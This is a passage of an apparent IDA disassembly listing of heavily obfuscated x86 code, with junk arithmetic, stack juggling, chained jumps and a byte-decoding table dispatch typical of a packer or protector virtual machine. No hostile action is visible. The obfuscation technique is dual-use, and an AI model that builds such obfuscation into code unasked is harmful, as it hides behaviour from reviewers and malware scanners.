; ---------------------------------------------------------------------------


loc_5AD890:				; CODE XREF: sub_58A891+14FDBj
		push	ebx
		mov	ebx, esp
		jmp	loc_5A5187
; ---------------------------------------------------------------------------


loc_5AD898:				; CODE XREF: sub_58A891+1AB43j
		inc	ebx
		jns	loc_5A5F55
		xor	ebx, 1AA63DC7h
		jno	loc_5A3AC4
		pop	esp
		push	[esp+7Ah+var_7A]
		mov	edx, [esp+7Eh+var_7E]
		add	esp, 4
		push	627Eh
		mov	[esp+7Eh+var_7E], edx
		push	esp
		pop	edx
		add	edx, 4
		push	edi
		mov	edi, 4
		sub	edx, edi
		pop	edi
		xchg	edx, [esp+7Eh+var_7E]
		mov	esp, [esp+7Eh+var_7E]
		mov	[esp+7Eh+var_7E], edx
		push	12AFh
		mov	[esp+82h+var_82], esp
		add	[esp+82h+var_82], 4
		mov	edx, [esp+82h+var_82]
		jmp	loc_5B2C54
; ---------------------------------------------------------------------------


loc_5AD8EE:				; CODE XREF: sub_58A891+22C0Cj
		xor	eax, 0CA9E2C4Eh
		xor	ebp, eax
		pop	eax
		push	ecx
		mov	ecx, ebp
		mov	edi, ecx
		pop	ecx
		mov	ebp, [esp+6+var_8+2]
		add	esp, 4
		add	ebx, edi
		push	[esp+2+var_4+2]
		pop	edi
		add	esp, 4
		add	edi, ebx
		mov	ebx, [esp+0]
		add	esp, 4
		jmp	loc_5A184A
; ---------------------------------------------------------------------------


loc_5AD921:				; CODE XREF: sub_58A891+24AEFj
		shr	edx, 1
		cmp	eax, edx
		jz	loc_59D342
		sub	esp, 4
		mov	[esp+0], ecx
		push	edx
		jmp	loc_5AA239
; ---------------------------------------------------------------------------


loc_5AD937:				; CODE XREF: sub_58A891+26329j
		add	esp, 4
		and	edi, ecx
		pop	ecx
		push	edi
		push	ebp
		jmp	loc_5ACE6B
; ---------------------------------------------------------------------------


loc_5AD944:				; CODE XREF: sub_58A891+15DC1j
		add	eax, 63122466h
		add	eax, ebp
		sub	eax, 63122466h
		mov	ebp, [esp+8Eh+var_8E]
		add	esp, 4
		push	esi
		mov	esi, 185D0A9Fh
		shr	esi, 3
		sub	esi, 30BA14Fh
		sub	eax, 3E712601h
		sub	eax, esi
		add	eax, 3E712601h
		pop	esi
		jmp	loc_5AD658
; ---------------------------------------------------------------------------


loc_5AD97A:				; CODE XREF: sub_58A891+1BB2Cj
		neg	ecx
		jnz	loc_5A664E
		add	ecx, 2C2F3D6Fh
		mov	edx, ecx
		pop	ecx
		mov	ebp, edx
		pop	edx
		xor	ebx, ebp


loc_5AD990:				; CODE XREF: sub_58A891+27AC9j
		add	eax, 4
		push	esi
		jmp	loc_5B2023
; ---------------------------------------------------------------------------


loc_5AD99B:				; CODE XREF: sub_58A891+216F6j
		add	edi, 4
		xor	edi, [esp+8Eh+var_8E]
		xor	[esp+8Eh+var_8E], edi
		xor	edi, [esp+8Eh+var_8E]
		mov	esp, [esp+8Eh+var_8E]
		xor	ebx, eax
		movzx	ax, byte ptr [eax]
		push	edi
		mov	edi, esp
		push	ebp
		mov	ebp, 4
		add	edi, ebp
		jmp	loc_5A23B2
; ---------------------------------------------------------------------------
		lodsb
		push	bx
		mov	bl, 0F4h
		add	al, bl
		jmp	loc_5AE841
; ---------------------------------------------------------------------------


loc_5AD9CC:				; CODE XREF: sub_58A891+18888j
		sub	edi, 4
		jmp	loc_5A79D3
; ---------------------------------------------------------------------------


loc_5AD9D7:				; CODE XREF: sub_58A891+238C8j
		xor	ecx, 84C05824h
		add	eax, ecx
		mov	ecx, [esp-12h+arg_8+2]
		add	esp, 4
		push	ecx
		push	eax
		jmp	loc_59C749
; ---------------------------------------------------------------------------


loc_5AD9EF:				; CODE XREF: sub_58A891+26CC8j
		mov	ebx, ebp
		pop	ebp
		neg	ebx
		dec	ebx
		jmp	loc_5B2D8C
; ---------------------------------------------------------------------------


loc_5AD9FA:				; CODE XREF: sub_58A891+1D8ECj
		jmp	loc_5AD1CF
; ---------------------------------------------------------------------------


loc_5AD9FF:				; CODE XREF: sub_58A891+25505j
		pop	esp
		push	1C74h
		mov	[esp+7Eh+var_7E], eax
		jmp	loc_59E1A9
; ---------------------------------------------------------------------------


loc_5ADA0D:				; CODE XREF: sub_58A891+23A72j
		sub	esp, 4
		mov	[esp+82h+var_82], eax
		mov	eax, 7A536C8Ah
		xor	ebp, eax
		mov	eax, [esp+82h+var_82]
		jmp	loc_5A19D2
; ---------------------------------------------------------------------------


loc_5ADA25:				; CODE XREF: sub_58A891+1CBF5j
		sub	ebx, 3E1B2423h
		sub	ebx, 15E01D0Eh
		push	edi
		mov	edi, 768E7CB4h
		inc	edi
		not	edi
		not	edi
		dec	edi
		dec	edi
		jo	loc_5AD7FE
		sub	edi, 75CB66E1h
		add	edi, 20ACEEC2h
		add	ebx, edi
		jmp	loc_5AE261
; ---------------------------------------------------------------------------


loc_5ADA57:				; CODE XREF: sub_58A891+2543Dj
		pop	esp
		mov	[esp+8Eh+var_8E], ebp
		push	ecx
		jmp	loc_59C923
; ---------------------------------------------------------------------------


loc_5ADA61:				; CODE XREF: sub_58A891+22448j
		mov	ecx, [esp+96h+var_96]
		add	esp, 4
		push	7062h
		mov	[esp+96h+var_96], ebp
		jmp	loc_5A93C0
; ---------------------------------------------------------------------------


loc_5ADA77:				; CODE XREF: sub_58A891+1B2EFj
		add	esi, 4
		xchg	esi, [esp+3Eh+var_40+2]
		pop	esp
		xor	eax, ecx
		jmp	loc_59F4FD
; ---------------------------------------------------------------------------


loc_5ADA88:				; CODE XREF: sub_58A891+276F7j
		mov	ebx, edx
		jmp	loc_5B137B
; ---------------------------------------------------------------------------


loc_5ADA8F:				; CODE XREF: sub_58A891:loc_5A70FAj
		sub	esi, 5691C1EFh
		jmp	loc_5AC905
; ---------------------------------------------------------------------------


loc_5ADA9A:				; CODE XREF: sub_58A891+166BBj
		mov	ecx, 3FEA1CF6h
		xor	edi, ecx
		jmp	loc_5AB784
; ---------------------------------------------------------------------------


loc_5ADAA6:				; CODE XREF: sub_58A891+18B97j
		sub	al, 3Dh
		pop	bx
		push	ebx
		mov	bl, al
		mov	ch, bl
		pop	ebx
		pop	eax
		shr	ch, 6
		shl	ch, 3
		sub	ch, 34h
		sub	al, ch
		mov	ecx, [esp+0Ch+var_C]
		add	esp, 4
		jmp	loc_5AEE8F
; ---------------------------------------------------------------------------


loc_5ADAC7:				; CODE XREF: sub_58A891+12FD9j
		xor	ecx, ebp
		jmp	loc_5AD479
; ---------------------------------------------------------------------------


loc_5ADACE:				; CODE XREF: sub_58A891+1DAFFj
					; sub_58A891+1DC7Dj
		mov	cl, 63h
		add	cl, 70h
		and	cl, 36h
		shr	cl, 8
		xor	cl, 0AAh
		jmp	loc_5AFFA2
; ---------------------------------------------------------------------------


loc_5ADAE1:				; CODE XREF: sub_58A891+17857j
		sub	esi, 3D0E7BCFh
		jmp	loc_5A65EF
; ---------------------------------------------------------------------------


loc_5ADAEC:				; CODE XREF: sub_58A891+1DF0Aj
		sub	al, 0BBh
		push	ebx
		mov	bl, 0Bh
		add	al, bl
		pop	ebx
		pop	bx
		xor	bl, al
		movzx	eax, al
		mov	dx, word ptr [esp+8+var_8]
		push	5187h
		mov	[esp+0Ch+var_C], ebx
		push	esp
		mov	ebx, [esp+10h+var_10]
		jmp	loc_5AF319
; ---------------------------------------------------------------------------


loc_5ADB10:				; CODE XREF: sub_58A891+253A6j
		pop	ebx
		pop	edx
		jmp	loc_5AA1EB
; ---------------------------------------------------------------------------


loc_5ADB17:				; CODE XREF: sub_58A891:loc_5B1E2Ej
					; sub_58A891+2773Dj
		add	bh, dh
		sub	bh, 6Ch
		push	eax
		mov	ah, 4Ah
		jmp	loc_5B1D8C
; ---------------------------------------------------------------------------


loc_5ADB24:				; CODE XREF: sub_58A891+14B6Cj
		mov	ax, word ptr [esp+46h+var_46]
		jmp	loc_5AE439
; ---------------------------------------------------------------------------


loc_5ADB2D:				; CODE XREF: sub_58A891:loc_59D7CCj
		jmp	loc_5A548A
; ---------------------------------------------------------------------------


loc_5ADB32:				; CODE XREF: sub_58A891+1E69Aj
		pop	edx
		push	[esp+8Ah+var_8A]
		jmp	loc_5A2F78
; ---------------------------------------------------------------------------


loc_5ADB3B:				; CODE XREF: sub_58A891+1D339j
		xchg	ecx, [esp+48h+var_4A+2]
		mov	esp, [esp+48h+var_4A+2]
		mov	[esp+48h+var_4A+2], ebx
		sub	esp, 4
		mov	[esp+4Ch+var_4E+2], ecx
		mov	ebx, [esp+4Ch+var_4E+2]
		add	esp, 4
		mov	ecx, [esp+48h+var_4A+2]
		jmp	loc_59EFFD
; ---------------------------------------------------------------------------


loc_5ADB5B:				; CODE XREF: sub_58A891+1B9CAj
		xor	edi, [esp+8Eh+var_8E]
		pop	esp
		pop	[esp+8Ah+var_8A]
		mov	esp, [esp+86h+var_86]
		imul	cx
		jmp	loc_5A8B80
; ---------------------------------------------------------------------------


loc_5ADB6D:				; CODE XREF: sub_58A891+150CDj
		push	dword ptr [esp+0]
		pop	esi
		push	ecx
		jmp	loc_59F2A0
; ---------------------------------------------------------------------------


loc_5ADB77:				; CODE XREF: sub_58A891+15FE4j
					; sub_58A891+1E7BDj
		not	[esp+62h+var_64+2]
		pop	eax
		xor	eax, 0E9994D00h
		mov	[edx+30h], eax
		mov	eax, [esp+5Eh+var_60+2]
		add	esp, 4
		popa
		jmp	loc_5A9441
; ---------------------------------------------------------------------------


loc_5ADB92:				; CODE XREF: sub_58A891+237FCj
		mov	[esp+3Ah+var_3C+2], ebx
		push	edx
		pop	ebx
		pop	edx
		xchg	edi, edx
		not	edi
		jmp	loc_59CD62
; ---------------------------------------------------------------------------


loc_5ADBA1:				; CODE XREF: sub_58A891+161C3j
		add	esi, edi
		mov	edi, [esp+0]
		add	esp, 4
		xchg	esi, [esp-0Ah+arg_0+2]
		mov	esp, [esp-0Ah+arg_0+2]
		jmp	loc_59BF76
; ---------------------------------------------------------------------------


loc_5ADBB7:				; CODE XREF: sub_58A891+23D5Fj
		mov	esp, [esp-0Ah+arg_0+2]
		or	ecx, ecx
		jz	loc_5A0D9F
		push	3A50h
		jmp	loc_5A833E
; ---------------------------------------------------------------------------


loc_5ADBCC:				; CODE XREF: sub_58A891+1D805j
		sub	ebx, 0CDDDE207h
		add	edx, ebx
		pop	ebx
		push	esi
		mov	esi, 43AB5AFFh
		jmp	loc_5A1946
; ---------------------------------------------------------------------------


loc_5ADBE0:				; CODE XREF: sub_58A891+16308j
		push	edx
		mov	edx, 17735714h
		xor	edx, 37E66D7Ah
		and	edx, 376E6E52h
		jmp	loc_5A166B
; ---------------------------------------------------------------------------


loc_5ADBF7:				; CODE XREF: sub_58A891+21757j
		xor	edi, [esp+0]
		jmp	loc_5AA8BC
; ---------------------------------------------------------------------------


loc_5ADBFF:				; CODE XREF: sub_58A891+2366Dj
		mov	dl, 88h
		add	al, dl
		jmp	loc_5A087A
; ---------------------------------------------------------------------------


loc_5ADC08:				; CODE XREF: sub_58A891+1C442j
		xchg	edx, [esp+8Eh+var_8E]
		jmp	loc_5B2737
; ---------------------------------------------------------------------------


loc_5ADC10:				; CODE XREF: sub_58A891+15239j
		mov	[esp-0Ah+arg_0+2], ecx
		mov	ecx, 68207B9Bh
		jmp	loc_5A1A97
; ---------------------------------------------------------------------------


loc_5ADC1D:				; CODE XREF: sub_58A891+16E74j
		pop	edi
		add	esp, 4
		jmp	loc_5ACEC3
; ---------------------------------------------------------------------------
		mov	cx, word ptr [esp+3Eh+var_40+2]
		push	7ED5h
		mov	[esp], ecx
		push	7AA3h
		push	esp
		pop	[esp+4Ah+var_4A]
		add	[esp+46h+var_46], 4
		jmp	loc_59DB93
; ---------------------------------------------------------------------------


loc_5ADC47:				; CODE XREF: sub_58A891+1D26Fj
					; sub_58A891+22D95j
		mov	[esp+0Ah+var_C+2], edx
		push	ecx
		push	60AFh
		jmp	loc_5A0790
; ---------------------------------------------------------------------------


loc_5ADC55:				; CODE XREF: sub_58A891+1D30Aj
		mov	eax, [esp+52h+var_54+2]
		sub	esp, 4
		mov	[esp+56h+var_58+2], esi
		push	esp
		mov	esi, [esp+5Ah+var_5C+2]
		jmp	loc_5A1B34
; ---------------------------------------------------------------------------


loc_5ADC6A:				; CODE XREF: sub_58A891+180B7j
		xor	eax, [esp+48h+var_4A+2]
		mov	esp, [esp+48h+var_4A+2]
		movzx	ax, byte ptr [eax]
		push	4DF6h
		mov	[esp+4Ch+var_4E+2], esi
		jmp	loc_5AF2F8
; ---------------------------------------------------------------------------


loc_5ADC81:				; CODE XREF: sub_58A891+28693j
		sub	esp, 4
		mov	[esp+0], eax
		jmp	loc_5A0F73
; ---------------------------------------------------------------------------


loc_5ADC8C:				; CODE XREF: sub_58A891+26FE3j
		sub	esi, 0D465AB1h
		pop	edi
		add	ecx, esi
		mov	esi, [esp+4Ch+var_4E+2]
		add	esp, 4
		shl	ecx, 1
		jmp	loc_5A0883
; ---------------------------------------------------------------------------


loc_5ADCA5:				; CODE XREF: sub_58A891+1A7CEj
		inc	eax
		xor	eax, 4E8919DAh
		sub	ebx, eax
		pop	eax
		push	ebp
		mov	ebp, 2B1E356Ah
		shl	ebp, 7
		jmp	loc_5AC64F
; ---------------------------------------------------------------------------


loc_5ADCBC:				; CODE XREF: sub_58A891+154A8j
		sub	ebx, 0E6AD9FBCh
		push	ebx
		jmp	loc_5A6913
; ---------------------------------------------------------------------------


loc_5ADCC8:				; CODE XREF: sub_58A891+2851Ej
		inc	edi
		sub	esp, 4
		mov	[esp+8Eh+var_8E], ecx
		jmp	loc_5ABAF2
; ---------------------------------------------------------------------------


loc_5ADCD7:				; CODE XREF: sub_58A891+154CFj
		add	al, bl
		jmp	loc_5B14BC
; ---------------------------------------------------------------------------


loc_5ADCDE:				; CODE XREF: sub_58A891+2523Ej
		add	eax, ecx
		pop	ecx
		push	[esp+5Ah+var_5C+2]
		pop	esi
		add	esp, 4
		sub	eax, ebx
		jmp	loc_5A1F09
; ---------------------------------------------------------------------------


loc_5ADCF2:				; CODE XREF: sub_58A891+1EF35j
		add	ebx, 0BB3BB8D8h
		add	ecx, ebx
		pop	ebx
		pop	ebp
		push	edx
		sub	esp, 4
		jmp	loc_5A9664
; ---------------------------------------------------------------------------


loc_5ADD08:				; CODE XREF: sub_58A891+25E87j
		mov	esi, ebx
		pop	ebx
		add	ecx, esi
		pop	esi
		add	eax, [ecx]
		mov	ecx, [esp+7Ah+var_7A]
		add	esp, 4
		push	68D0h
		mov	[esp+7Ah+var_7A], eax
		jmp	loc_59BF76
; ---------------------------------------------------------------------------


loc_5ADD26:				; CODE XREF: sub_58A891+16AECj
		add	eax, 4
		sub	esp, 4
		mov	[esp-12h+arg_8+2], ebp
		push	eax
		mov	eax, 4DC9540Eh
		xor	eax, 7D8D59C3h
		jmp	loc_59F82E
; ---------------------------------------------------------------------------


loc_5ADD44:				; CODE XREF: sub_58A891+22941j
		mov	al, bl
		pop	ebx
		add	bl, al
		pop	ax
		movzx	eax, al
		push	dword ptr [edi+eax*4]
		sub	esp, 4
		mov	[esp+8+var_8], ebx
		mov	ebx, 3AD814E4h
		jmp	loc_5A45E7
; ---------------------------------------------------------------------------


loc_5ADD61:				; CODE XREF: sub_58A891+254E9j
					; sub_58A891+27C41j
		add	edi, 20045D54h
		sub	edi, esi
		push	ebx
		mov	ebx, 9CB4264h
		shl	ebx, 2
		inc	ebx
		sub	ebx, 1
		push	ebp
		mov	ebp, 788A6BE8h
		xor	ebp, 0FD37AF3h
		xor	ebp, 6EAE4C6Ch
		not	ebp
		shr	ebp, 7
		jmp	loc_59F52A
; ---------------------------------------------------------------------------


loc_5ADD92:				; CODE XREF: sub_58A891:loc_5A0EDBj
					; sub_58A891+1A257j
		mov	edx, 4
		add	ebp, edx
		pop	edx
		push	ebp
		push	[esp+0AAh+var_A6]
		jmp	loc_5A6789
; ---------------------------------------------------------------------------


loc_5ADDA4:				; CODE XREF: sub_58A891+15AE1j
					; sub_58A891:loc_5A1CBAj
		mov	bh, 1Bh
		add	al, bh
		mov	bx, word ptr [esp+9Eh+var_9E]
		jmp	loc_5AFA9F
; ---------------------------------------------------------------------------


loc_5ADDB1:				; CODE XREF: sub_58A891+1E9D4j
		and	edi, esi
		pop	esi
		shl	edi, 1
		shr	edi, 7
		sub	edi, 0E4F34FA2h
		jmp	loc_5A733F
; ---------------------------------------------------------------------------


loc_5ADDC4:				; CODE XREF: sub_58A891+2063Cj
		mov	ebp, 3AD814E4h
		add	eax, ebp
		jmp	loc_5B26B6
; ---------------------------------------------------------------------------


loc_5ADDD0:				; CODE XREF: sub_58A891+11EB3j
					; sub_58A891+1AF66j
		xchg	ebp, [esp+54h+var_54]
		pop	esp
		pop	dword ptr [esp+0]
		mov	esp, [esp+4Ch+var_4E+2]
		shl	word ptr [esp+4Ch+var_4E+2], cl
		pushf
		jmp	loc_59BF76
; ---------------------------------------------------------------------------


loc_5ADDE4:				; CODE XREF: sub_58A891+189DAj
					; sub_58A891+1A425j
		shr	eax, 4
		dec	eax
		jmp	loc_5A77FE
; ---------------------------------------------------------------------------


loc_5ADDED:				; CODE XREF: sub_58A891+153DEj
		inc	ch
		sub	ch, 69h
		add	bl, ch
		jmp	loc_59F3C4
; ---------------------------------------------------------------------------


loc_5ADDF9:				; CODE XREF: sub_58A891+17D22j
		neg	ebx
		jmp	loc_5A59C2
; ---------------------------------------------------------------------------


loc_5ADE00:				; CODE XREF: sub_58A891+1A43Fj
		push	6FE7h
		mov	[esp+8Ah+var_8A], esi
		jmp	loc_5A4C24
; ---------------------------------------------------------------------------


loc_5ADE0D:				; CODE XREF: sub_58A891+15F31j
		push	dword ptr [esp+0]
		pop	ecx
		add	esp, 4
		jmp	loc_5AE830
; ---------------------------------------------------------------------------


loc_5ADE1C:				; CODE XREF: sub_58A891+1BD59j
		add	esi, 0FFFFFFFFh
		not	esi
		add	esi, 0FFFFFFFFh
		xchg	ebp, esi
		not	ebp
		xchg	ebp, esi
		push	edx
		mov	edx, 25D1C57Fh
		sub	esi, edx
		jmp	loc_5A1568
; ---------------------------------------------------------------------------


loc_5ADE3A:				; CODE XREF: sub_58A891+2131Dj
		add	eax, 4
		jmp	loc_5AB8C9
; ---------------------------------------------------------------------------


loc_5ADE44:				; CODE XREF: sub_58A891+1DA18j
					; sub_58A891+1FE4Fj
		sub	edi, 24382888h
		jle	loc_5A7612
		shr	edi, 2
		sub	edi, 3C766B29h
		mov	ch, ah
		push	esp


loc_5ADE5C:				; CODE XREF: sub_58A891+1E886j
		mov	edx, [esp+5Eh+var_60+2]
		add	esp, 4
		pop	[esp+5Ah+var_5C+2]
		jmp	loc_5AB3F7
; ---------------------------------------------------------------------------


loc_5ADE6D:				; CODE XREF: sub_58A891+27F5Aj
		sub	eax, edx
		jmp	loc_5B296C
; ---------------------------------------------------------------------------


loc_5ADE74:				; CODE XREF: sub_58A891+1FFA2j
		mov	esi, [esp+66h+var_68+2]
		jmp	loc_5A06A3
; ---------------------------------------------------------------------------


loc_5ADE7C:				; CODE XREF: sub_58A891:loc_5AABDFj
		xor	ebp, 10D13278h
		mov	esi, ebp
		mov	ebp, [esp+8Ah+var_8A]
		add	esp, 4
		jmp	loc_5A10DB
; ---------------------------------------------------------------------------


loc_5ADE8F:				; CODE XREF: sub_58A891+1D092j
		pop	edx
		mov	edi, [esp+9Ch+var_9E+2]
		add	esp, 4
		mov	edx, eax
		pop	eax
		push	edx
		mov	edx, 586B427Fh
		sub	edx, 301453AFh
		and	edx, 57F540FEh
		jmp	loc_5A07AE
; ---------------------------------------------------------------------------


loc_5ADEB0:				; CODE XREF: sub_58A891+1AD64j
		sub	edi, 0D84BB7E6h
		jmp	loc_5A2A36
; ---------------------------------------------------------------------------


loc_5ADEBB:				; CODE XREF: sub_58A891+26D1Bj
		pop	eax
		jmp	loc_5A23C2
; ---------------------------------------------------------------------------


loc_5ADEC1:				; CODE XREF: sub_58A891+251F2j
		mov	eax, esp
		push	esi
		jmp	loc_5ABCF7
; ---------------------------------------------------------------------------


loc_5ADEC9:				; CODE XREF: sub_58A891+18953j
		xor	[esp+0D6h+var_D8+2], eax
		pop	edx
		jmp	loc_5A6A3E
; ---------------------------------------------------------------------------


loc_5ADED2:				; CODE XREF: sub_58A891+1A7A2j
		mov	[esp+24h+var_24], eax
		push	[esp+24h+var_20]
		push	[esp+28h+var_28]
		pop	eax
		push	ebx
		mov	ebx, esp
		jmp	loc_5ABE81
; ---------------------------------------------------------------------------


loc_5ADEE5:				; CODE XREF: sub_58A891+1FA94j
		sub	edi, 1
		jmp	loc_59CFF2
; ---------------------------------------------------------------------------


loc_5ADEF0:				; CODE XREF: sub_58A891+18E65j
		pop	ecx
		jmp	loc_5A29B4
; ---------------------------------------------------------------------------


loc_5ADEF6:				; CODE XREF: sub_58A891+1CB21j
					; sub_58A891+21C98j ...
		add	esp, 4
		push	dx
		jmp	loc_5ADBFF
; ---------------------------------------------------------------------------


loc_5ADF03:				; CODE XREF: sub_58A891+1D99Dj
		mov	edx, [esp+1Eh+var_20+2]
		add	esp, 4
		mov	eax, [esp+1Ah+var_1C+2]
		add	esp, 4
		add	esi, 2
		push	esi
		push	[esp+1Ah+var_18+2]
		pop	esi
		pop	[esp+1Ah+var_1C+2]
		mov	esp, [esp+16h+var_18+2]
		jmp	loc_5A5862
; ---------------------------------------------------------------------------


loc_5ADF23:				; CODE XREF: sub_58A891+24EDAj
		mov	edx, 4
		add	ecx, edx
		pop	edx
		push	ecx
		push	[esp+16h+var_14+2]
		pop	ecx
		jmp	loc_5A9D7E
; ---------------------------------------------------------------------------


loc_5ADF36:				; CODE XREF: sub_58A891+13C8Bj
		add	edx, 4
		xchg	edx, [esp+1Eh+var_20+2]
		pop	esp
		mov	ebx, esi
		push	[esp+1Ah+var_1C+2]
		pop	esi
		sub	esp, 4
		jmp	loc_5A2B65
; ---------------------------------------------------------------------------


loc_5ADF4E:				; CODE XREF: sub_58A891+156FAj
		sub	esp, 4
		mov	[esp+2Eh+var_30+2], eax
		mov	eax, 12B6750h
		add	eax, 5DE36981h
		jmp	loc_5B0A79
; ---------------------------------------------------------------------------


loc_5ADF63:				; CODE XREF: sub_58A891+23ACDj
		push	edx
		jmp	loc_59F371
; ---------------------------------------------------------------------------


loc_5ADF69:				; CODE XREF: sub_58A891+286FDj
		mov	esp, [esp+32h+var_34+2]
		jmp	loc_5AC5EC
; ---------------------------------------------------------------------------


loc_5ADF71:				; CODE XREF: sub_58A891+255EDj
		add	edi, 4
		push	eax
		mov	eax, 4
		sub	edi, 2926534Dh
		sub	edi, eax
		add	edi, 2926534Dh
		pop	eax
		xor	edi, [esp+32h+var_34+2]
		xor	[esp+32h+var_34+2], edi
		xor	edi, [esp+32h+var_34+2]
		pop	esp
		mov	[esp+2Eh+var_30+2], ebx
		push	edx
		mov	edx, 1DE7369Bh
		or	edx, 24591426h
		xor	edx, 0A2012E6h
		jmp	loc_5A5843
; ---------------------------------------------------------------------------


loc_5ADFB0:				; CODE XREF: sub_58A891+219D1j
		jmp	loc_5B1607
; ---------------------------------------------------------------------------


loc_5ADFB5:				; CODE XREF: sub_58A891+1EAAEj
		mov	ebx, 308012B1h
		add	ecx, 135164EFh
		add	ecx, ebx
		sub	ecx, 135164EFh
		pop	ebx
		jmp	loc_5AF50A
; ---------------------------------------------------------------------------


loc_5ADFCE:				; CODE XREF: sub_58A891:loc_59D9B1j
					; sub_58A891+25D6Aj
		not	ebx
		shr	ebx, 8
		sub	ebx, 0D21413h
		sub	esi, ebx
		pop	ebx
		push	esi
		push	[esp+82h+var_7E]
		pop	esi
		pop	[esp+82h+var_82]
		pop	esp
		jmp	loc_5AE330
; ---------------------------------------------------------------------------


loc_5ADFEB:				; CODE XREF: sub_58A891+13CC6j
		xchg	esi, [esp+2Ah+var_2C+2]
		mov	esp, [esp+2Ah+var_2C+2]
		mov	[esp+2Ah+var_2C+2], edi
		push	4964051Eh
		jmp	loc_5AF484
; ---------------------------------------------------------------------------


loc_5ADFFE:				; CODE XREF: sub_58A891+1AE9Fj
		pop	esp
		jmp	loc_5AE198
; ---------------------------------------------------------------------------


loc_5AE004:				; CODE XREF: sub_58A891+15256j
		push	0B72h
		mov	[esp+84h+var_86+2], ecx
		mov	ch, 0F8h
		dec	ch
		or	ch, 2
		sub	ch, 63h
		jmp	loc_5AE533
; ---------------------------------------------------------------------------
		push	[esp+84h+var_86+2]
		mov	eax, [esp+88h+var_8A+2]
		push	2619h
		mov	[esp+8Ch+var_8E+2], ecx
		push	esp
		pop	ecx
		jmp	loc_5A4BE1
; ---------------------------------------------------------------------------


loc_5AE030:				; CODE XREF: sub_58A891+1D11Fj
					; sub_58A891:loc_5ABFEDj
		mov	[esp+84h+var_86+2], ebx
		push	6A58h
		mov	[esp+88h+var_8A+2], edx
		jmp	loc_5ACCDE
; ---------------------------------------------------------------------------


loc_5AE040:				; CODE XREF: sub_58A891+273C7j
		mov	edi, 2
		mov	edx, edi
		jmp	loc_5A9AF8
; ---------------------------------------------------------------------------


loc_5AE04C:				; CODE XREF: sub_58A891+14407j
					; sub_58A891+22B0Bj
		jmp	loc_5A7C02
; ---------------------------------------------------------------------------


loc_5AE051:				; CODE XREF: sub_58A891+1D5F7j
		mov	edx, [esp+7Eh+var_7E]
		add	esp, 4
		add	edi, ebp
		mov	ebp, [esp+7Ah+var_7A]
		add	esp, 4
		sub	edi, ecx
		sub	edi, 77954F79h
		jmp	loc_5A95DE
; ---------------------------------------------------------------------------


loc_5AE06F:				; CODE XREF: sub_58A891+14354j
		push	[esp+66h+var_68+2]
		pop	ecx
		jmp	loc_5A61F5
; ---------------------------------------------------------------------------


loc_5AE078:				; CODE XREF: sub_58A891+1B8DFj
		pop	ebx
		jmp	loc_59F85F
; ---------------------------------------------------------------------------


loc_5AE07E:				; CODE XREF: sub_58A891+1E005j
					; sub_58A891+1F8AFj
		or	ebx, esi
		pop	esi
		shl	ebx, 5
		sub	ebx, 0FFFFFFFFh
		sub	esp, 4
		jmp	loc_5ADB92
; ---------------------------------------------------------------------------


loc_5AE092:				; CODE XREF: sub_58A891+14F62j
		xchg	ebp, [esp+1Ah+var_1C+2]
		jmp	loc_5A5B98
; ---------------------------------------------------------------------------


loc_5AE09A:				; CODE XREF: sub_58A891+1911Bj
					; sub_58A891+1DE40j
		pop	edi
		jmp	loc_59FC59
; ---------------------------------------------------------------------------


loc_5AE0A0:				; CODE XREF: sub_58A891+11A7Aj
		jo	loc_59CB47
		xor	ebx, 0AA73934h
		xor	edi, ebx
		pop	ebx
		mov	bl, bh
		push	eax


loc_5AE0B2:				; CODE XREF: sub_58A891+13988j
		pop	ecx
		neg	ebp
		neg	ebp
		sub	ebp, 1
		jmp	loc_59FAAC
; ---------------------------------------------------------------------------


loc_5AE0C2:				; CODE XREF: sub_58A891+14645j
		xchg	edx, [esp+72h+var_74+2]
		pop	esp
		jmp	loc_5B09AF
; ---------------------------------------------------------------------------


loc_5AE0CB:				; CODE XREF: sub_58A891+148AEj
		push	0BA4h
		mov	[esp+0CEh+var_D0+2], esi
		mov	esi, 0
		sub	esi, edi
		xchg	esi, edi
		pop	esi
		jmp	loc_5B2B90
; ---------------------------------------------------------------------------


loc_5AE0E2:				; CODE XREF: sub_58A891+1B9D3j
		add	eax, 4
		sub	eax, 4
		jmp	loc_5A52DD
; ---------------------------------------------------------------------------
		mov	eax, [esp+8Eh+var_8E]
		jmp	loc_5A7977
; ---------------------------------------------------------------------------


loc_5AE0F9:				; CODE XREF: sub_58A891+20CF1j
					; sub_58A891+2836Aj
		xor	ebx, [esp+44h+var_46+2]
		mov	esp, [esp+44h+var_46+2]
		cmp	cl, al
		pushf
		jmp	loc_5AFD0A
; ---------------------------------------------------------------------------


loc_5AE107:				; CODE XREF: sub_58A891+20AC3j
		push	ebx
		jmp	loc_5A6504
; ---------------------------------------------------------------------------


loc_5AE10D:				; CODE XREF: sub_58A891+246CCj
		add	ecx, 0F1EB04BDh
		xor	esi, ecx
		pop	ecx
		push	41A7h
		jmp	loc_5A91A2
; ---------------------------------------------------------------------------


loc_5AE120:				; CODE XREF: sub_58A891+23902j
		pop	esp
		push	1D3Fh
		mov	[esp+26h+var_28+2], edx
		mov	edx, 28531961h
		add	eax, edx
		mov	edx, [esp+26h+var_28+2]
		add	esp, 4
		add	eax, ebx
		sub	eax, 28531961h
		push	ecx
		mov	ecx, 14877A99h
		xor	ecx, 5630494Ch
		add	ecx, 5CD5018Ch
		inc	ecx
		or	ecx, 564C477Bh
		jmp	loc_5AD9D7
; ---------------------------------------------------------------------------


loc_5AE15E:				; CODE XREF: sub_58A891+28383j
		jle	loc_5A082D
		jmp	loc_5A4B2D
; ---------------------------------------------------------------------------


loc_5AE169:				; CODE XREF: sub_58A891+1578Ej
		xchg	edi, [esp+7Ah+var_7A]
		mov	esp, [esp+7Ah+var_7A]
		push	ebx
		push	eax
		mov	al, 7Ch
		dec	al
		jle	loc_5AA817
		sub	al, 0E5h
		push	dx
		jmp	loc_59FD98
; ---------------------------------------------------------------------------


loc_5AE184:				; CODE XREF: sub_58A891+14E90j
					; sub_58A891+199A4j
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp+3Eh+var_40+2]
		jmp	loc_5AE120
; ---------------------------------------------------------------------------


loc_5AE198:				; CODE XREF: sub_58A891+2376Ej
		sub	esp, 4
		mov	[esp+0], ebp
		mov	ebp, esp
		push	esi
		mov	esi, 4
		add	ebp, esi
		pop	esi
		jmp	loc_5A39B1
; ---------------------------------------------------------------------------


loc_5AE1B1:				; CODE XREF: sub_58A891+1C73Fj
		pop	ebx
		mov	ecx, ebx
		push	[esp+0CEh+var_D0+2]
		mov	ebx, [esp+0D2h+var_D4+2]
